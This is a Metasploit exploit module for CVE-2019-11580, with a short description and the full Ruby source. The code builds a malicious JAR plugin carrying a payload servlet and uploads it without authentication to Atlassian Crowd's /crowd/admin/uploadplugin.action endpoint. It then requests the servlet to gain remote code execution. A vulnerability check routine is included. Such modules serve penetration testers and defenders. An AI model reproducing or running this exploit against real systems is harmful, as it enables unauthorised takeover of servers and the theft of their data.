Authored by Paul, Corben Leo, Grant Willcox | Site metasploit.com

This Metasploit module can be used to upload a plugin on Atlassian Cloud via the pdkinstall development plugin as an unauthenticated attacker. The payload is uploaded as a JAR archive containing a servlet using a POST request to /crowd/admin/uploadplugin.action. The check command will check that the /crowd/admin/uploadplugin.action page exists and that it responds appropriately to determine if the target is vulnerable or not.

advisories | CVE-2019-11580

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',
'Description' => %q{
This module can be used to upload a plugin on Atlassian Cloud via
the pdkinstall development plugin as an unauthenticated attacker.
The payload is uploaded as a JAR archive containing a servlet using
a POST request to /crowd/admin/uploadplugin.action. The check command will
check that the /crowd/admin/uploadplugin.action page exists and that it
responds appropriately to determine if the target is vulnerable or not.
},
'Author' => [
'Paul', # Vulnerability discovery
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.
'Grant Willcox' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-11580'],
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],
['URL', 'https://www.corben.io/atlassian-crowd-rce/']
],
'Platform' => %w[java],
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.
},
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => '2019-05-22'
)
)

register_options(
[
Opt::RPORT(8095),
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),

]
)
end

def upload_plugin(content)
data = Rex::MIME::Message.new
data.add_part(content, nil, 'binary', "form-data; name="file_#{Rex::Text.rand_text_alpha(8..12)}"; filename="#{Rex::Text.rand_text_alpha(8..12)}.jar"")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),
'method' => 'POST',
'data' => data.to_s,
'ctype' => "multipart/mixed; boundary=#{data.bound}"
}, datastore['HttpClientTimeout'])
end

def generate_plugin_jar
name = Rex::Text.rand_text_alpha(8..12)
servlet_name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %(
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">
<plugin-info>
<param name="atlassian-data-center-compatible">true</param>
<description></description>
<version>1.0.0</version>
</plugin-info>

<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">
<url-pattern>/#{name}</url-pattern>
<description>#{Faker::App.name}</description>
</servlet>
</atlassian-plugin>
)

# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)

contents = zip.pack
[contents, name]
end

def check
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))
if res.nil?
CheckCode::Unknown('Was not able to connect to the target!')
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")
else
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")
end
end

def exploit
print_status('Generating a malicious JAR plugin...')
content, plugin_name = generate_plugin_jar
print_status('Uploading the malicious JAR plugin...')
upload_plugin(content)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),
'method' => 'GET'
}, datastore['HttpClientTimeout'])
end
end